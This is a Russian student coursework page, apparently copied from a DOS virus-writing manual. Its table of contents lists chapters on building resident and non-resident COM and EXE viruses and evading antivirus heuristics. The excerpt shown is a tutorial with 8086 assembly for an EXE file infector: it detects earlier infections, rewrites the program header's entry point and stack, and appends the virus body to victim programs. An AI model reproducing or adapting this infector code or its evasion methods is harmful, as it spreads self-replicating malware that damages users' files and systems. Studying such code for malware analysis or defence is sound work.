Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

               call read              ;символ ...

       jnc compar

               jmp close_file

 

    compar:    cmp last,'7'           ;Это "семерка" ?

       jne mmm                ;Нет

    to_next:   jmp find_next          ;Да ! Файл уже

                                      ;заражен, и надо

                                      ;искать другой

 

    Вы, вероятно, уже поняли,что  каждая новая програм-

    ма  составляется нами  из ранее разработанных  бло-

    ков, как из конструктора.Это  сильно упрощает рабо-

    ту и сокращает время  на составление программ .Было

    бы странно не воспользоваться  готовыми фрагментами

    и заново преодолевать  все трудности !

    Вместе с тем, использованный  фрагмент пришлось не-

    сколько модифицировать,чтобы  он смог правильно ра-

    ботать в новой программе  .Первое внесенное измене-

    ние состоит в дублировании  исходных значений заго-

    ловка программы, из  которой стартовал вирус.В ком-

    ментариях рассказано, зачем  это потребовалось.Сле-

    дющее изменение вызвано  тем, что EXE - файл  может

    быть длиннее 64 Кбайт.Поэтому  для установки указа-

    теля  на последний  байт файла недостаточно  просто

    вычесть единицу из его размера.Например,пусть дли-

    на файла равна 10000h байт . В этом  случае из DTA

    будут считаны такие  числа :CX = 0001h и DX = 0000h

    (см. выше) .Теперь для  обращения к последнему эле-

    менту  файла из  пары CX : DX следует вычесть "1" .

    Если просто вычесть  единицу из DX,  то мы  получим

    следующее :CX = 0001h, DX = 0FFFFh, то есть полно-

    стью абсурдное значение . Чтобы такого не происхо-

    дило,  нужно применить  команду  " вычитание с зае-

    мом ",  которая будет отнимать от CX значение фла-

    га переноса CF - " ноль " или " один " .

    И  последнее - вместо  непосредственной  установки

    указателя мы будем  просто вызывать процедуру "set-

    pointer ", текст которой  несложен и рассматривает-

    ся в конце главы .

 

 

               1.8 Читаем заголовок файла

 

    Наш EXE-вирус должен  получать управление при стар-

    те зараженного файла  .С этой целью он может   моди-

    фицировать заголовок  файла,как показано в п. 1.4 .

    Проще всего будет  считать заголовок найденной EXE-

    программы с диска,  после чего сделать  необходимые

    изменения и записать  его обратно на диск.А так  как

    предыдущий  фрагмент  вирусной программы уже нашел

    подходящий  EXE - файл,  самое время прочитать его

    заголовок :

 

    mmm:       xor cx,cx              ;Установим ука-

               xor dx,dx              ;затель на нача-

               call setpointer        ;ло  файла ...

 

               mov ah,3fh             ;И считаем инте-

       mov bx,descrypt        ;ресующую нас

               mov cx,27              ;часть заголовка

                                      ;в массив " hea-

                                      ;der " .Она как

               lea dx,header          ;раз занимает 27

       int 21h                ;байт...

               jnc next_step          ;

               jmp restore_dta        ;Ошибка чтения !

 

    Работа  фрагмента   довольно проста  и пояснений  не

    требует .

 

 

          1.9 Производим  необходимые вычисления

 

    Теперь наша задача  состоит в следующем : Используя

    числа, полученные из  заголовка и некоторые вспомо-

    гательные данные, рассчитать  новые параметры заго-

    ловка EXE - программы.Напомним,что  необходимо най-

    ти :

 

    Новые значения CS0, IP0, SS0 и SP0

 

    Новый остаток от деления размера загрузочного  мо-

    дуля на 512

 

    Новый размер файла  в 512 - ти байтовых страницах,

    округленный в большую  сторону

 

    Кроме того,следует найти  такое значение указателя,

    которое  обеспечило  бы запись вирусного кода в  ко-

    нец файла . Это значение будет исходным для проце-

    дуры " setpointer ", которая  предназначена для ус-

    тановки указателя в  файле .

 

    Перед началом вычислений  вирус должен  "запомнить"

    исходные параметры заголовка,  чтобы можно было ис-

    пользовать их для расчета правильной точки входа и

    переключения стека с  области данных вируса на стек

    зараженной программы  при передаче ей управления :

 

                                      ;Запомним пара-

                                      ;метры заголовка

                                      ;в переменных

                                      ;" old_XX " ...

    next_step: mov ax,word ptr header[14h]

               mov old_ip,ax

               mov ax,word ptr header[16h]

               mov old_cs,ax

               mov ax,word ptr header[0eh]

               mov old_ss,ax

               mov ax,word ptr header[10h]

               mov old_sp,ax

 

    После этого можно  приступить к вычислениям.Но сна-

    чала следует привести  принятые для расчета  форму-

    лы .Обозначим :

 

    Остаток от деления  размера загрузочного модуля  на

    512 - Исходный : при вычислениях  не используется

          Вычисленный  в результате коррекции ( в  даль-

          нейшем - " вычисленный " ) : Header [02h]

 

    Размер файла в 512 - ти байтовых страницах -

          Исходный : File_size

          Вычисленный  : Header [04h]

 

    Смещение в параграфах  стекового сегмента в  загру-

    зочном модуле -

          Исходное : SS0

          Вычисленное  : Header [0eh]

 

    Смещение в параграфах  кодового сегмента в  загру-

    зочном модуле -

          Исходное : СS0

          Вычисленное : Header [16h]

 

    Значение  указателя стека SP при передаче  управле-

    ния  программе -

          Исходное : SP0

          Вычисленное  : Header [10h]

 

    Значение указателя команд IP при передаче управле-

    ния программе -

          Исходное : IP0

          Вычисленное  : Header [14h]

 

    Размер заголовка в  параграфах -

          Head_size

 

    Длина вируса в байтах -

          Vir_len

 

    Старшая часть указателя для записи вируса в  конец

    файла -

          F_seek_high

 

    Младшая часть указателя  -

          F_seek_low .

 

    CS0, IP0, SS0 и SP0 в этих  расчетах не используют-

    ся,но мы сохранили  их в выделенных ячейках памяти.

 

    Тогда  можно привести такие формулы :

 

    Header [16h] = File_size * 32 - Head_size

 

    Header [04h] = (File_size * 512 + Vir_len) / 512 -

                   частное от деления + 0,если остаток

                                          равен нулю

                                      + 1,если остаток

                                          не равен ну-

                                          лю

 

    Header [02h] = (File_size * 512 + Vir_len) / 512 -

                   остаток от деления

 

    Header [14h] = 0

                   При этом первая исполняемая   коман-

                   да вируса будет находиться  по адре-

                   су : CS : 0000h, CS = Header [16h].

 

    Header [0eh] = Header [16h], чтобы можно было  об-

                   ратиться к стеку вируса,задав в ка-

                   честве SP " расстояние "  от начала

                   вирусного  кода  до последних   слов

                   стека .

 

    Header [10h] = смещению к New_stack + 96h, послед-

                   нее  слагаемое  зависит от  размера

                   вирусного стека .

 

    F_seek_high  = File_size * 512 ( High )

 

    F_seek_low   = File_size * 512 ( Low )

 

    Все  расчеты по приведенным формулам можно  выпол-

    нить  с помощью таких программных  строк :

 

               mov ax,word ptr header[04h]

               mov cl,5

               shl ax,cl

               cmp ax,0f000h

               jna good_size

               jmp find_next

    good_size: mov bp,ax

               sub ax,word ptr header[08h]

               mov to_16h,ax          ;Это число запи-

                                      ;шется в Header

                                      ;[16h]

               mov ax,bp

               xor dx,dx

               call mover

               mov f_seek_low,ax

               mov f_seek_high,dx

               cmp dx,word ptr [new_dta + 01ch]

               jl to_next

               ja infect

               cmp ax,word ptr [new_dta + 01ah]

               jl to_next

    infect:    add ax,vir_len

               adc dx,0

               mov bx,512

               div bx

               cmp dx,0

               je round

               inc ax

    round:     mov to_04h,ax          ;Это число запи-

                                      ;шется в Header

                                      ;[04h]

 

               mov to_02h,dx

               mov word ptr header[02h],dx

               mov ax,to_04h

               mov word ptr header[04h],ax

               mov word ptr header[14h],0

               mov ax,to_16h

               mov word ptr header[16h],ax

               mov word ptr header[0eh],ax

     mov word ptr header[10h],offset ds:new_stack + 96

               mov sub_ds,10h

 

    В приведенном тексте широко используются команды :

 

    ADC - сложение с переносом  .Эта команда определяет

    сумму задаваемых операндов  и прибавляет к ней зна-

    чение флага переноса CF

    и

    SBB - вычитание с заемом . Команда определяет раз-

    ность задаваемых операндов и вычитает из нее  зна-

    чение флага CF .

    Такие команды потребовались  для того,  чтобы можно

    было учесть переполнения, возникающие при работе с

    файлами длиннее 64 Кбайт  .Заметьте, что при разра-

    ботке COM - вирусов они не применялись вообще .

    Процедура " mover " заимствована  из книги П .Абеля

    "Язык ассемблера для  IBM PC и программирования" и

    предназначена для умножения  двойного слова CX : DX

    на 16 методом сдвига .

    Хотелось бы сказать  о том, как наш вирус определя-

    ет, содержит ли файл  внутренние оверлеи .Для этого

    он просто сравнивает  размер файла в параграфах,по-

    лученный из заголовка  по смещению 04h с размером,

    считанным из DTA.Верным  признаком присутствия вну-

    тренних оверлеев является следующий факт :

    Размер, полученный из DTA больше значения,  вычис-

    ленного по параметрам  заголовка . Заражать " овер-

    лейный " файл по принятому  нами алгоритму нельзя,

    и  наш  вирус  при обнаружении  такого файла  просто

    попробует найти другую EXE - программу . Сам алго-

    ритм заражения оверлейных  файлов отличается  высо-

    кой сложностью и ненадежностью  и в данном  пособии

    не рассматривается .Стоит  заметить, что  далеко не

    все вирусы корректно  работают с такими файлами,  а

    многие просто их портят .

 

 

              1.10 Заражаем EXE - программу

 

    После  того, как скорректирован заголовок  файла,мо-

    жно  его заразить.Напомним, что при  заражении вирус

    должен  перезаписать на диск модифицированный  заго-

    ловок, после чего поместить свой код в конец файла

    - жертвы :

 

               xor dx,dx              ;Устанавливаем

               xor cx,cx              ;указатель на

               call setpointer        ;начало файла

               jc close_file          ;

 

               lea dx,header          ;И записываем

               mov cx,27              ;измененный за-

               call write             ;головок на диск

               jc close_file

 

               mov dx,f_seek_low      ;Устанавливаем

               mov cx,f_seek_high     ;указатель на

               call setpointer        ;определенное

                                      ;ранее место в

                                      ;файле

               jc close_file

 

               lea dx,vir             ;И записываем на

               mov cx,vir_len         ;диск  вирусный

               call write             ;код

 

    close_file:xor ax,ax              ;Закроем зара-

               mov ah,3eh             ;женный файл

               mov bx,descrypt        ;

               int 21h                ;

 

    Строго говоря, код вируса записывается не за  пос-

    ледним байтом файла  .Это имеет место только  когда

    размер файла кратен 512 .Во всех остальных случаях

    вирусный код помещается  в файл по смещению,опреде-

    ляемому размером файла  в 512 - ти байтовых страни-

    цах .Конечно, число  страниц округляется в  большую

    сторону . Например,  при  размере файла в 1025 байт

    вирус будет считать,  что его длина составляет  три

    полных страницы, а при размере в 4096 байт - всего

    восемь ! Такая система  сильно упрощает процесс со-

    здания вирусной программы  и ее отладку .

 

 

                 1.11 Восстанавливаем DTA

 

    Итак, вирус выполнил  свою работу - найден и  зара-

    жен подходящий EXE - файл .Дальше необходимо пере-

    ключить DTA  с области  данных вируса  на область в

    PSP программы, из которой  он стартовал . Поскольку

    начальный сегмент программы  известен ( он хранится

    в регистре ES, которым  мы не пользовались ),несло-

    жно найти адрес исходной DTA .Он равен ES : 80h .И

    поэтому :

 

    restore_dta:

               push ds                ;DS -> в стек

Информация о работе Вирусы